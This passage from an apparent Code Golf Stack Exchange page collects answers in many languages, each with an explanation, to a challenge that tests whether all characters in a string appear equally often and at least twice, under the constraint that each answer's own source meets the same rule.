online.](https://tio.run/##1ZNZd6IwHMXf@ylCWxVEBbfaSqF1bbXu2pWDbYCgKBJlEa3y2R3sMk89M@Pj/E7ykPxzs9x7MoFLGMdzZE7U6U4xoG2DJtTNzREAuukgS4MKAq39EAAZYwNBEyikMoaWKAGb4oKCH/Sg2Q50dAW0gAl4sMNxYRNsADxR4k3k7TcTUwFSzOXZmMaznIYtcr/CymPK5WnaEy3p9yTKe5SukQSZEtDW5XlEbVOCS2k0zVnIcS2TIDWBpTifYURRlCQJACIAkTpF07GA@B6MmQCWZR3X8/IBmz0ctw3w9wjCjvu8/dyVjeD2X49YYl0Fs8AHsu9YujkSJUh9esAwoI9dKzBFwSoCumMjQ8t/lPpr20GzBHadxDwQOYZJmgmFPP5frDhOOLgUBFuwLLgmKeoj3B@f9VX5NmRguc54/WcTYMC/H/AlIZIgCQgIiOTBUllWFFVFSNNGowPFyS7x8Kr19cJZ0dI3W9@ZlpvSw6RV54evGRKG@assfoaxpDfe9jLPd/fg5EIhTrpgENbe8vbs9PppGXdHj5cdyvAfO0I1MjHSq5kauaih02aLG1ilYolxXmqN6E0qJ68rZmLETu/Gci8k3MQT2fmt0mCp@subnY@Kq1T//ew8tBze4nNaRLFNu7Awr9KVy3bVeyK567Ur0e85Zq4u7ssH5fedXRUaNvpbdoe6L8v7AA5WKQcq5K521lcKWTWfeYV1qiylosPmkqz4d3IOX0tTCy0fr9CArT5ytW09r69A6IJIV70ZF71/ubl9O3cehNE6uXq67DPtQq7lFCO@AtzIw2kj9mw8zzcnYiIxCY8G0/PJPH7WM27uGyevl0O2VHq563S1cipkU2MULzZ7btK8Wqg6Q2QXvGeeYgvST7FO@/39tjXmycxm9pa@qG1tka5ch9c//zT/yN/9Ag) [Code used to verify the occurrences of the characters excluding comment](https://tio.run/##VU9BbsIwEPyK4eStwQKOiZyq6qWVWvWQY5SDGzbgENuRsUkRIHFvX8lHUkOrSt3L7s6MdmYbuZNT26FplpthULqzzpMmgjx41fK7VBmPrpYVkufD1kuvKrKzakm0VIbm3imzKkoJh1fZES0M9uRJbtdxo5DW1tFqLR2pkiuRV9IYdDTfbz1qrgxwgx/@RRmkwL19jNIH5@SeAmjeBU@rieYrjP1y/rqcP2EkTGjbexpDwX@GzZP5j@Hbe4OVJ5hovsF9HjUAv442eN7FxL41FNk4IWP2cwUB0tNpGOw0O0Sa9EV5eyXOxSJWOQliNqnF7OZwVbjEQhCM9YUr/0BMelA1HdFFhscgBMJxkQWoGUsd@uDMiNbZLFp9Aw), which was my answer for [this challenge](https://codegolf.stackexchange.com/questions/19068/display-number-of-occurrences-for-every-character-in-an-input-string/83741#83741). -6 bytes thanks to *@OliverGrégoire* removing `<` by swapping the checks to `>`. **Explanation of the base golfed program (98 bytes):** [Try it online.](https://tio.run/##lZFrW6JAFMff76cYuhgkKJe0AqHMsqt20a48VAMMiiIYM4gEfPYWt9pX@@yu88y8mDnnf878zn8EZ5ALpsgf2eMPy4MYgw50/fQHAK5PUOhAC4Hu4gqAGQQegj6waGsIQ90AmFGKQF6cYmMCiWuBLvCBCj4wp6VFAQB1Q/VRvCimi7W6wRKVZx2VV5wgpBcJlowZopbLULeM34@uDBnXoV1NKLmUSjLSEBmnXFZCRKLQB05DUPIP5bPvNDK9ou9X@1ng2mBSENA9Err@QDcg8/n7ahX0gigscKzARsAlGHmO/CvUSzBBk0oQkcq0EBHPp/2KRa8EBYSZEATmXxSLi16WJImTMtFgI5XjWZd1EOu4bKwALMeyH/ChhHEcJ0kif/NgOWDSNCow5zo2lDz/TWrKcyYtUCmKokXNzLJIVU0mE7WoOCKTznXeKMDz/BO9yOI1jlu8Mkq@UiFBq7CiGYYwoRnmlx1/xPmKfA@iH0ZkmPwdHhbr/xt8SSgBCICCgBKWlpqmZdk2Qo4zGCwpFq6puxen5zbrB6GbZjkZH3aMu1H3TH1@2aJhSd2rBY@QFeJhdrP1eH4LVnctavUa9EvOq4wna/sPMy4a3DeuGC@/v9LaGyNPmk/sjd1TtNbpKv2wddCqkqfTi81jcdtMjvzKgB@fD82bde2Yq9SmJ9YFz5w9vWJ5U5@Lvff6zvrs@STYKeuITS@bb/6edNS4bMcPtLKfREb5fbs6td9uD5fy79u7NvQw@pd3y07fNBcGLK2yllSY1069ZzVrtrz1As@YQ0PcfO7M6KP83NwO9o1xiGb3e6jPt@@V0@xMdudgfZeS2vFE2bx9Oj553SF32iAR5g@NXvWyud0lBxu5BaKNu7UL9tF7nKareqUyKg36453RlKvfeMe3F6svjWe@1Xo6v7p2DsV1zAwRd9C5iQR/7812q1TtTY39tSCE5Qf26vL9/aQ7VOmtdPIq7Z5mWC8f7ZcS7Y@c@Y/84yc) ``` s->{ // Method with character-array parameter and boolean return-type int a[]=new int[256], // Occurrences integer-array containing 256 zeroes t=0, // Temp integer, starting at 0 f=0; // Flag integer, starting at 0 for(int c:s) // Loop over the input t=++a[c]; // Increase the occurrence-counter of the current character // And set the temp integer to this value for(int i:a) // Loop over the integer-array if(i>1 // If the value is filled (not 0) and at least 2, &i!=t // and it's not equal to the temp integer |t<2) // Or the temp integer is lower than 2 f++; // Increase the flag-integer by 1 return f<1;} // Return whether the flag integer is still 0 ``` **Some things I did to reduce the amount of characters used:** * Variable names `o`, `w`, `u`, `f`, `r`, and `e` were chosen on purpose to re-use characters we already had (but not exceeding 6). * `2222` is used instead of `256`. * Changed the if-check `e>0&u!=e|u<2` to `!(e<2|u==e)|u<2` to remove 6x `&`. * Removed the two separated returns and used a flag `f`, and we return whether it is still 0 in the end (this meant I could remove the 6x `by` from `byte` now that we only use `n` in `int` 6 times instead of 8). * `e<2` and `u<2` changed to `2>e` and `2>u` to remove 6x `<`. **What I did to reduce the char-count 6 to 5:** * 2x `int` to `byte` so the amount of `n` used is 4 instead of 6. * Used `x[0]` instead of a new variable `f=0` so the amount of `=` used is 5 instead of 6. * Changed `2222` to `3333` so the amount of `2` used is 2 instead of 6. * Changed variables `f` and `r` again so they aren't 6 anymore either. **What @OlivierGrégoire did to get rid of the comment, and therefore the 5x `/`:** * Adding unused variables `,i,fe,fi,w;`. * Adding unused labels: `s:w:no0r3sswwyyy:`. * Adding unused `|2>2` * Adding `{}` around the for-loops and ifs, and added an unused `{}`-block. * Changing `!` to `!!!`. * Changing `|` to `||`. * Changing `333` to `+333-3|2`to get rid of leftover arithmetic operators `+-|` and the `2`. * Changing `!(x[0]>0)` to `!!(0>--x[0])`. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~18~~ ~~16~~ ~~12~~ 10 bytes ``` Ġ¬zḊḊ¬zĠȦȦ ``` [Try it online!](https://tio.run/##bY@3ktpgFIV7nuIXIiOCyDmDyDlrBCiDEFEiSEDjxjN@iq222gdwbW@xr2G/iKz1ejvfOcV3z5zmE1hRVDTt9enHi/rr@zc9Orw@vT2/PWs/v/7@8qIH0zTcAHDj/0ZGAgEwkFiRAzIrye8zUj8jYgBAJwgFKIBIAKGfDUXRNMOwLMfx/EeHdqDhnOutsqHccXW7P@R1oUEMhWY1OZsHbKQlmQ7uJiSCXpb3bmBSGwA4SkNwB/Qt3CImbUyZ8dl14keJtl18jNqpklUQ/dcNY41WWFOjGe8f87m8R55W6g7MF6aU4tbNe9e1JdU1pzCXO7gv03WvvTpdSDEHfvX11FDEfJ6VdxEnziK3VvawTfuLiVbpMrbFM8qJcKphz545DAq6@l/df2YU9S73@dAfQHW4UI/OBplYYE5W7QXC55g1zrbio0aFdxlifWTPozTb95ZG8cq9GltdgTkK@UuXTdwxmGLlRUQepngFvY4TPU8rG27KOeuDBifr0FRHJuJkf4Nxt1uw8P11RNi7Ql0RG9TheWLmzeentXaHK/jMkn3JunKN7gndpg/MygMFD8nL1rQ7ks4x0m6parm5TNoCt83CH63cJdxZzFiUlJEwEH8A "Jelly – Try It Online") ### How it works ``` Ġ¬zḊḊ¬zĠȦȦ Main link. Argument: s (string) Ġ Group the indices of s by their corresponding elements. "abcba" -> [[1, 5], [2, 4], [3]] ¬ Take the logical NOT of each 1-based(!) index. [[1, 5], [2, 4], [3]] -> [[0, 0], [0, 0], [0]] Ḋ Dequeue; yield s without its fist element. "abcba" -> "bcba" z Zip-longest; zip the elements of the array to the left, using the string to the right as filler. ([[0, 0], [0, 0], [0]], "bcba") -> [[0, 0, 0], [0, 0, "bcba"]] Ḋ Dequeue; remove the first array of the result. This yields an empty array if s does not contain duplicates. [[0, 0, 0], [0, 0, "bcba"]] -> [[0, 0, "bcba"]] ¬ Take the logical NOT of all zeros and characters. [[0, 0, "bcba"]] -> [[1, 1, [0, 0, 0, 0]]] Ġ Group. z Zip-longest. Since all arrays in the result to the left have the same number of elements, this is just a regular zip. [[1, 1, [0, 0, 0, 0]]] -> [[1], [1], [[0, 0, 0, 0]] Ȧ Any and all; test if the result is non-empty and contains no zeroes, at any depth. Yield 1 if so, 0 if not. [[1], [1], [[0, 0, 0, 0]] -> 0 Ȧ Any and all. 0 -> 0 ``` [Answer] ## [Brachylog](https://github.com/JCumin/Brachylog), ~~14~~ 12 bytes ``` ọtᵐℕ₂ᵐ==tℕ₂ọ ``` [Try it online!](https://tio.run/##SypKTM6ozMlPN/r//@Hu3pKHWyc8apn6qKkJyLC1LYGyd/f@/6@ET1oJAA "Brachylog – Try It Online") ### Explanation ``` ọ Occurrences. Gives a list of [char, count] pairs for the entire input. tᵐ Map "tail" over this list, giving each character count. ℕ₂ᵐ Make sure that each count is at least 2. = Make sure that all counts are equal. At this point we're done with the actual code, but we need another copy of each character (except ᵐ). We can just put them after this, as long as we make sure that they can never cause the predicate to fail. = Make sure that all counts are equal, again... t Extract the last count. ℕ₂ Make sure that it's at least 2, again... ọ Get the digit occurrences in that count, this can't fail. ``` Alternative 12-byte solution that reuses `t` instead of `ᵐ`: ``` ọtᵐ==tℕ₂ℕ₂ọᵐ ``` [Answer] # T-SQL, 320 bytes (32 chars x 10 each) Input is via pre-existing table `FILL` with varchar field `STEW`, [per our IO standards](https://codegolf.meta.stackexchange.com/a/5341/70172). ``` WITH BUMPF AS(SeLeCT GYP=1 UNION ALL SeLeCT GYP+1FROM BUMPF WHeRe GYP<=1000)SeLeCT IIF(MIN(WAXBY)<MAX(WAXBY)OR MAX(WAXBY)<=1,+0,+1)FROM(SeLeCT WAXBY=COUNT(1),WHICH=+1+0,HEXCHANGE=+01,HUNG=+0+1,CHLUB=+0,GEFF=+0FROM BUMPF,FILL WHERE GYP<=LEN(STEW)GROUP BY SUBSTRING(STEW,GYP,1))CHEXX OPTION(MAXRECURSION 0)----------<<<<<< ``` I have never been more pleased, yet horrified, by a piece of code. Must be run on a server or database set to a case-sensitive collation. There are 10 each of 32 different characters, including upper and lowercase `E` (SQL commands are case-insensitive, so flipped a few as needed), spaces and tabs (tabs are shown as line breaks in the code above, for readability). I found ways to include 10 each of the other symbols `+ = ,` in the code, but unfortunately couldn't find a way to do that with `<`, so I had to add the comment character `-`. Here is the formatted code before I crammed in all the extra filler: ``` WITH b AS (SELECT g=1 UNION ALL SELECT g+1 FROM b WHERE g<1000) SELECT IIF(MIN(w)<MAX(w) OR MAX(w)<1+1,0,1) FROM( SELECT w=COUNT(1), --extra constant fields here are ignored FROM b, fill WHERE g < 1+LEN(stew) GROUP BY SUBSTRING(stew,g,1) )a OPTION(MAXRECURSION 0) ``` The top line is a recursive CTE that generates a number table `b`, which we join to the source string to separate by character. Those characters are grouped and counted, and the `IIF` statement returns 0 or 1 depending on whether the input string is non-discriminating. [Answer] # [C (gcc)](https://gcc.gnu.org/), ~~333~~ 168 bytes *Thanks to @Kevin Cruijssen for saving 9 bytes and thanks to @Laikoni for saving 45 bytes!* ``` f(r,h,a){char*o=r,c[222]={!o};for(a=!o;*o;)++c[*o++];for(h=!o;222/++h;c[h]&&c[h]!=a&&(a=!*c))!a&&c[h]&&(a=c[h]);r=!(2/2/a);}/////!(())****++,,,,,[[]]fffffrr{{{{{{}}}}}} ``` [Try it online!](https://tio.run/##lZNrU6pQFIa/9ytAE9mAIqhZImpZlnbR7hphweayKd0oYpnEb@8AXaYz02nmPB@YNe9aDLPW8MCcDeHbm0V7HOI0EECkeYwrexxURFFU5YB0Q8lyPVqTSVdiXAmwLFQYl2XVJEZxHE3yLIskqCCVouInKWsUFb/DQABI7T1MkrgAkieTtMiLvAakkI8haRoAJoJluRhFUVUrxvOChDDhLe1gOF4YJlGb@4bj5lF9zcE@MdEcTIO1YI2ImHpRZNGpjHGLUxwRVVpECgDpn21SIASC1AhS@HVM1yE0DNO0LNv@ZVA4Ja/urHNne2PHc4LX0H/cPVavHk668uiuRGuU3Ci7Q40TntHrWWl4eEmktyCZPiUuKOu@Op@sNwdPuYV9XeuDcXjdr7ezD@PicmJktzrm@vGJdOG1dlq8f9M5YvbFiv6yh/N24fEQ6WeZ@n4uX54ewKMC6N7cz6uMshTPVxubmafRgbvJKiYX9LZnuFHcq/XazwNaar4sVHZV4afG7HI3WemvnW7xt/V/O42ux9f5dQL@0H3v6afWxjncLhvV0p3WBbuqyIyOn@i98FCvuE310TOfrhvmRaF9LXVeu1VnSWS2yGL7eSIxlzf7B/eb/lXdfhGWg9o539uunPg72RASi@zV@hE3HA@nQVrJ5x8o@@Jx82Ga2zgb718epe9qo0KrdXPYP7V2xcwcIDO3c3y2EHBjZjg8WZ7Jz3jd9TR2wPV7q9XBCZLpUjC5L251XucKu9ekXuo/HewW52LiIvWxbywVAV3DVMqCqL5nlm36czoOOSJKOSL@n/HPB5r7nrGYJsMg/mKY@Iq/fEXffUVfviKJQR@@ok9fcRy/@4ojX3HiK/7JV/zpK/4vXxF2E/729g8) # C, 333 bytes ``` i,v;f(S){char*s=S,L[128]={0};for(v=0;*s;)++L[*s++];for(i=-1;++i<128;L[i]&&L[i]-v?v=-1:0)!v&&L[i]?v=L[i]:0;return-v<-1;}/////////!!!!!!!!&&&&&(((((())))))******+++,,,,,,,----00000111122222228888888:::::::<<<<<<<===???????LLLSSSSSSS[[[]]]aaaaaaaacccccccceeeeeeeeffffffhhhhhhhhiinnnnnnnnooooooorrrrssssssttttttttuuuuuuuuvv{{{{{{{}}}}}}} ``` Even the bytecount is non-discriminating! [Try it online!](https://tio.run/##7dRXc6JsFADg@/wKiA0EFGxREWuMDUtiD8FGUYyi0izob8@C8M18O5PN1V7ucwEv5xwGzhl4OWzJcV9fEmqQItSFTW41V4Iq1UVphogkWcrEb6S4UyCDwsmgSsIIQjNBFUHYe1SiMIJEEClj1ZI0I7F@v33EjJxhZdI4DBpOxLq2T2mcVARNV2TMyFh33sL/AV1@G3QH3wXvEARBHZgFtxGWiCPpSDsyDoqicg6aprsOhmFYlp27OJfgEu9WLkmSXTuHYlHvNJfuMgzTcXN8eSSZ2@i8AGRUjZd2oVX2QZI1YDuXZAh@MB8Ay16xQiL06OM/5EcUsFb2Oz3CMPnHNEgABADOAZD4sWyx4Diet/tZLn8oJF7BwVTsSoVEUZHM6037fG6yg3WrTk2mMWjup3Lx3XiOEsfV9S02bvQBT4oDPa9Azy/O0urWmx8ZmL4cZjrw5jbsZF8C6030tOUDqZrgbbbInlIqlsLae40OViJPi3NZDi3xz8Zq8ebLVrBQfF/laByuv8/UdJA5RbqXRNJnTKq7JMIIqNkuHORctJxpvxxHEJk/6yxyeQrv@UP/@d7Sbz19yP9r/6fRLBb2dH6s4L7JOrnFq5jocoU4n45N53X4mY0EJ00DKt8ai6ddnv1UBGOYE3r4y5CsXetp6QT4UmD05bglg/33SnWW1AbZ5Zk4jTLdcLvw1NKKgRsH6IGBl0bHm/He9DCh0Nq/7H0m13ss8bap9GnPNDPBS6X3RudVfI74VHglYMXmm07IuQMvhcH4gTrK3p0yR0Zop325VFsrCoqZ21k0VbuqDFLO@8/Z7wb2Ids/EmYvHt1@7T8f4Ha8wMSJCOvExKWgqZAdRAErigL29yx/PyBVU3h9fy@G7Sfe/m0qf3NT@QU) [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), ~~20~~ ~~18~~ ~~16~~ 14 bytes ``` S¢Z≠sË*sZ¢≠SË* ``` [Try it online!](https://tio.run/##MzBNTDJM/f8/@NCiqEedC4oPd2sVRx1aBGQGA5m4xAE "05AB1E – Try It Online") The program is essentially divided into 2 parts where the goal of the first part is to do the actual task and the goal of the second part is to use the same functions as the first part without altering the result. **Explanation (first part)** ``` S # push input split into list of chars ¢ # count the occurrence of each char in input Z≠ # check that the max count is not 1 sË # check if all counts are equal * # multiply ``` **Explanation (second part)** ``` s # swap input to top of stack Z¢ # count the number of occurrences of the largest element ≠ # check that the count isn't 1 SË # split into list and check that each element are equal (always true) * # multiply (as it is with 1, the original result is left unchanged) ``` [Answer] # [Husk](https://github.com/barbuz/Husk), 14 bytes ``` §<ε#εu§m#u m < ``` [Try it online!](https://tio.run/##yygtzv7//9Bym3Nblc9tLT20PFe5lCuXy@Y/NkEA "Husk – Try It Online") ## Explanation The two short lines are no-ops, since the main function never calls them. ``` §<ε#εu§m#u Implicit input, say S = "asasdd" u Remove duplicates: "asd" §m# For each, get number of occurrences in S: [2,2,2] u Remove duplicates: L = [2] #ε Number of elements in L that are at most 1: 0 ε 1 if L is a singleton, 0 otherwise: 1 §< Is the former value smaller than the latter? ``` [Answer] # [Python 2](https://docs.python.org/2/), ~~75~~ 69 bytes ``` def f(s):len({2<<s.count(c)-2for c,in s})<2or{{e.dil:-tu,r.dil:-tu,}} ``` Output is via [presence or absence of an error.](https://codegolf.meta.stackexchange.com/a/11908/12012) The error is either a *ValueError* (one or more characters occur only once) or a *NameError* (the character counts are unequal). [Try it online!](https://tio.run/##XY/nzqJQEIZ/61UcPwtgQcWOvffedS2Ug6IICAe71@6qye4mO8nMvFPyTEa9oq0iUy9O4SFIAgzDXjwUgIDrBC1BGb9TiYROcoohI5wjPJSgaIBzizLQn0SCUrT7HZK8KNEeZLi1v@r5fL1JpI40UcUJsxleIAc@J8zm81aUIBhoBqTNJqRd39Ek4KKsGggniHehaqKMvgtmE7xwUEWg2C4VNU3R6L9j7Jfch5IAENQRjbm/jA//f4BJY0Qdgv5VR/BQvIjoD/MfqsRIOnz9MG/7Mb@TxQ/8wMIAi/9bsizH8TyEgrDZvBv@rmW0EvpiNpzTxPvjifaF5mK0a9WSy1UQZxzJdEiZMm7/efvoBaf1IbDGOIu1CwYOYU3rB1tmcvIYm3GiQ0jPcSdVwnZS4HLgsVgV2pqt@EDL5/JeNKs2nGUqwl6LMrnx7etbtmdPlT1kSK1wDR9Rm6112jm/UP1bOGo/LStK1DWH7ns7e5TTgWKiXTpP8Hjmaixct4hX5Y/DwueXj7Ps56Wv4t6R7QrhPpcN8XRwxdSIwoJyLpsnvPissxEls9hr8DROw4GvNI5XHzVavAB7zBIonQ9x53BWrqyjaJTaXP2XSaLvbWcjLZTDnhwwsJGt4Z5KU/VunZPkzrEZ7KM71RPuSeVhw7pKLH35/Kze6QoFyq4TW@jJNXuGX04fedFrCR2TZ9mmaIxr4u60b7dKa5vEg/fDOhCrPvS5q5hxXFM/vwE "Python 2 – Try It Online") [Answer] # [Brachylog](https://github.com/JCumin/Brachylog) v2, 8 bytes (in Brachylog's character set) ``` oḅ\k\koḅ ``` [Try it online!](https://tio.run/##SypKTM6ozMlPN/r/P//hjtaY7JhsEP3/f7ShoaGOgqG5uY6CpRGQYYDMgMnFAgA "Brachylog – Try It Online") Looks like there's been a golfing war going on on this question in Brachylog, so I thought I'd join in, saving a couple of bytes over the next best answer. This is a full program that takes input as a list of character codes. (This is partly because Brachylog appears to have some very bizarre bugs related to backslashes in strings, and partly because the `\` command doesn't work on lists of strings.) ## Explanation ``` oḅ\k\koḅ o Sort {standard input} ḅ Group identical adjacent values \ Assert rectangular; if it is, swap rows and columns k Delete last element \ Assert rectangular; (rest of the program is irrelevant) ``` The `koḅ` at the end is irrelevant; `k` will always have an element to act on and `o` and `ḅ` cannot fail if given a list as input. The reason for the starting `oḅ` should be clear; it partitions the input list by value, e.g. `[1,2,1,2,4,1]` would become `[[1,1,1],[2,2],[4]]`. In order for each character to appear the same number of times, each of these lists must be the same length, i.e. the resulting list is a rectangle. We can assert this rectangularity using `\`, which also transposes the rows and columns as a side effect. We now have a current value consisting of multiple copies of the character set, e.g. if the input was `[4,2,1,2,4,1]` the current value would be `[[1,2,4],[1,2,4]]`. If we delete a copy, the resulting matrix is still rectangular, so we can turn it back using `\`. However, if the reason the matrix was rectangular was that all the input characters were distinct, the resulting matrix will have no elements left, and `\` does *not* treat a "0×0" matrix as rectangular (rather, it fails). So `oḅ\k\` effectively asserts that each character that appears in the input appears the same number of times, and that number of times is not 1. That's the entire functionality of our program (as a full program, we get `true` if no assertion failures occurred, `false` if some did). We do have to obey the source layout restriction, though, so I added an additional `koḅ` that has no purpose but which cannot fail (unlike `\`, `o` and `ḅ` are happy to act on empty lists). [Answer] # [JavaScript (Node.js)](https://nodejs.org), ~~144~~ ... ~~100~~ 96 bytes ``` o=>!(a=o.split``.map(i=>o.split(i||aeehhhlmmnnnpst)[`length`]-1)).some(g=>![g>1][-!1]||a[-!1]-g) ``` [Try it online!](https://tio.run/##fVPZcqpAEH33KwA3UCHBLUZEjfse17hQKIvDYhBQEPdv96LeVKXuw52HPtNdZ05PT51Z8Q5viVvVtHHdWIKbRN8MOgujPG0QlqmpNscRa95EVTr7t4CqlwsPgKIo2nqt67pp2RjDaUCXbYVjcRLDCMtYA1R2ZRg5S7IMDpOse@aBuIzdKI9DI0hYojwmzRAEoYM9NAA26mAs5VnR5k9D56chRjzlXXHKIxq6ZWiA0AwZRYoKv@VFG2wh0djpdhpCXIZkbNEDpOqQif0mm8yBjazc8K/IEFg2xMu8qrsouq/wlPnN4STUd3auGERDvrPk3vTKuYz/yNj3ROQtYD3FGIR3FxLxuAiTEAnBPASTz1wQRHG5BECSZPleIXvw10IaqB/JwlY9X672d6nNfq06DXq@iKN8gM4ljCkfIffKpR@fNkeQ912EvT1oGJC4tLX25ScOvpPHmS6mXcfdbCW40mKH9TL4Xge@docabouF4os9q7dC1eibcCzrhPz63VSEvj9bxYmEWRNbr1hjxlnpEHOIDk7JlN@Z14xUmAGR8@fHRs/FypnPyn6CUvnjjg2f3l7M5WZUekzzCIJwn@q5Fe8g9KTkQPxILNPxBd/ASmw0NG87aPnaFN6MPPu9Bc44B4avlTFVvzTS6gHyv8Oxyn5NhUazao1L2V9Z@UgeJpnBy@fHW8cuBK8itAt@@VqRqTY1z17XSKuAPPxOrUw82deqo5Z3kZm/FouzZrcnlaJ@C1MAXmj3d6Se2yzVFzixofe6z9jy4Umk@3k61ToKjcbPay72Xr9YTLicDxyzCPtwo/sn/rED4jsbV@THEMbdENjtDw "JavaScript (Node.js) – Try It Online") ~~24 different characters \* 6 times each~~ ~~28 different characters \* 5 times each~~ ~~27 different characters \* 5 times each~~ ~~27 different characters \* 4 times each~~ ~~26 different characters \* 4 times each~~ ~~25 different characters \* 4 times each~~ 24 different characters \* 4 times each **Explanation** ``` o=>!( a=o.split``.map( // Split the input into character array and i=>o.split(i||aeehhhlmmnnnpst)[`length`]-1 // count the occurrences of each character. ) ).some( // Then check g=>![g>1][-!1] // If each character appears at least twice ||a[-!1]-g // and the counts are all the same number. ) More to add: 1. Using {s.split``} instead of {[...s]} is to reduce the number of {.} that dominates the count. 2. Using {!c.some} instead of {c.every} to reduce the number of inefficient characters (v,r,y in every) 3. Still one unavoidable inefficient character left ({h}). Update: 1. Got rid of one {.} by replacing {.length} by {["length"]}. 2. Got rid of one {=} by replacing {c[-!1]!=g} by {c[-!1]-g}. 3. Got rid of one {()} by replacing {!(g>1)} by {![g>1][-!1]}. 4. Finally, because count per character is now 4, the backslashes can be taken out. Update: 1. Got rid of all {"} by replacing {"length"} by {`length`} and exploiting shortcut evaluation. {aaaeehhhlmmnnnpst} is not defined but is not evaluated either because of {c} which must be evaluated to true. Update: 1. Got rid of all {c} by shortcutting the undefined variable at {split(i)} and replacing all {c} by {a}. Since {i} is never an empty string, it is always evaluated true (except compared directly to true). Update: 1. Got rid of all {,} by moving the assignment after the argument list. The {()} at the front can therefore be moved to the assignment, retaining same number of {()}s. ``` [Answer] # [Python 2](https://docs.python.org/2/), ~~84~~ 80 bytes ``` x=input() c=map(x.count,x) print max(c)==min(c)>1 1. or our>ram>>utopia, 1., 1., ``` [Try it online!](https://tio.run/##TVBnk6pAEPzOr1gzGPAwJ4yn3plzLAPgqijJFRTTb/eB3l29rZrqma6ume5VLupWlgJPTl5B2mq1PnWalxRNxQmMo0VGwXWSkzVJ9eoEpiBeUoHI6DhH0LTISwamKYwigYyArKE0YsR0WlNlhWe8Bu0FRj2NpeRRRbxirDxveQGCHtJgAgNARRcTAIA65IDpADN7DioqKDZLRYRk9BawCDJ77G0A40VFRqqhFwTIqbwsHbGXRUD/z5EFk4MIN/f@en/pfnqXESTh8r7zmDx5YgQNHnHiV@0SoGQqDHgriD8L5hcZ9wRGZFdM4u39L8XTyhjPihlgoQAFLAywUK@RZTlutYJwvd5sDIJqWwaLdZfPRfKIv90f6v6zPhvsGhV6vgjhjJPOhOUx46XO23snNK72gS3OWWxt0HOul4mjaM@OTj5tM0y1COExbKVLrp0Q1MWVK/4N7fVGsocK@YJfnXzX3OVAlL0UJXLzsa9u2Y4jXfaRYeWLq30QlcnymHBP9UD3Gok5TvMvOeaZQu@tmTtImWAx1SydR3gye9FmnmvUr6wO/U8zi1ksa0Z6ddxPvtf0w7LtdaTL5cKrRGjBVIjPWcA9r5/w4qPKRuXsbI/gaZiBvY/SMPl9ryR4HTjilmDpLCbd/Un5axlTB@nNhdJHqa6/mYs21LzrwQHNNbDXvGNhrNxsU5LcOTe9fWyn@CIdodyv2Rap@UehMKm22uvPgONIbKEvX@9olJQ5rHi/JXygz5JdRoxn5G01r9evxpbGQzdxGYx/349TTzHrvKSt/wA "Python 2 – Try It Online") [Answer] # [Brachylog](https://github.com/JCumin/Brachylog), 18 bytes ``` oḅlᵐ=h≥2 oḅlᵐ=h≥2 ``` [Try it online!](https://tio.run/##SypKTM6ozMlPN/r/P//hjtach1sn2GY86lxqxIXG/f9fyTBQMSw@LTjT0cypKLO6prYk28U3NizLz8s2Lt5EI1HN1t40PzJRx7A8oybIJNI7VEHZMllROVAhRC0twao4V8Uhoky3ND3cJkAzpzY8wM5NPSvHuCI3Rd3SM1XF1886pMjZyVm/JMrTR8vdyDyp0jVPL90g2zsjKUjVzl1Xz7TAI9nHQNMrKqHYSiu6wii4ysxCtSzOI99COzpVp9rfsTDP3tjVxt@tPELD2qGyNFa7yly/IKUw1EUJAA "Brachylog – Try It Online") Unfortunately, I can't remove the linefeeds, since `ḅ` on a number triggers a fail. [Answer] # [PowerShell](https://github.com/TryItOnline/TioSetup/wiki/Powershell), 104 bytes ``` ($qe=$args[0]| group |sort count|% count)[0]-eq$qe[-1]-and$qe[0]-gt1####((()))%%%pppddd===aaccss11nu|0gr ``` [Try it online!](https://tio.run/##JY1NCsQgFIOvUphKdSHUA3gScfHqe7WLotYfZuPdrcNkk/AlkBS/lMtF9z0GXx/SK2RfzG774nNsaekl5rq42ELt7O9i1pKeuTZSWQkBf3EyX9VninMuhGCMpZQQUWsN4FwpSoXWd5/HvDLugmys3QCOwzlEovP0fhMv "PowerShell – Try It Online") This was great fun to golf. The limitation was `$`, which we need four of at minimum (one for the input `$args`, one for assigning the computation result `$qe`, one for checking the last character `$qe[-1]` and one for checking the first character `$qe[0]`, so that was the working maximum number of characters. From there, it was a matter of golfing (and not-golfing, like having a two-letter variable name) to get the program nicely divisible by four. Note that we have a small comment (everything following the `#`) to account for some missing elements, but I tried to keep the comment as small as possible. [Answer] ## Haskell, ~~90~~ ~~75~~ 72 bytes ``` a[i]|d:n<-[[i|n<-i,n==a]|a<-i]=and[[i]<d,[d|i<-n]==n]--aadd,,,,:::::<=|| ``` Each character appears 6 times. The input string is taken as a [singleton list](https://codegolf.meta.stackexchange.com/a/11884/34531). [Try it online!](https://tio.run/##rY/XoppQFETf/Ypjb2CvCPbeeyOoBw4qFlDAjv@Sb8mPGUxu7k3eMy9775n9MGsNlS2/271ekBYYDREiidO0oOlDwESKgowG9ZWhoIh0nyERRiNNIHGRoSiRwXEIEcJ0EW@RlKa99lAQAQWQZDAAgONA5iECinSSOR4sZWkPFBUJop4dTmpPlesiMEkX8eODAKZ3IguiCiwAAtr0v3qZmI8@krrmZaDyigo4qPDKP02@iV@xQry77OGhARy/Gnmg53CSeSegdV@XCeoyYZ@H0Q/8wAiB0f@XybIchxDPL5er1aft7xiH82VPyESysvDQnuo232CGm2aVms1DDmijUmFpAjH/Za11Q5PaAJjjnNHcAX3bckEoe0t6fMZPqxHZdu6eo3ayaN/sgtc9sscrvKXRTPTlXDbnVaeVuqsUiLK3guhZ@ba1Ndu1Jku4J3woc3WfszpdKISLvgZ690jMep6VpZib5rFHK3MUU8EC2Spexo5E@nZi3Peo94COg7wO8AfsC5Fl35R/3dznznaWkR6XCSMiNIdVZ54JuGaNs6PwrLFRKc1sZf48SvF9X3GUqGhVQrgCa9wYLF72CddgWiovYuowubr5r2Oy521lok01a39y4GQfWurYZDc5PMy0x7Oxrfrb2OaAR7q70qBunpMzXy43rbU7y3zAqjjXPJ5tdE9@MXVEgtcYPlIX0SLJ0D3G2q37vdxcU47QY78IxiuaQrsLadstafoNwBh@fDe8fgI "Haskell – Try It Online") For reference, old versions: 75 bytes, each char 5 times ``` n(l)|d<-[[0|n<-l,n==a]|a<-l]=and[[0]<d!!0,all(==d!!0)d]--an!((())),,,0<[]|| ``` [Try it 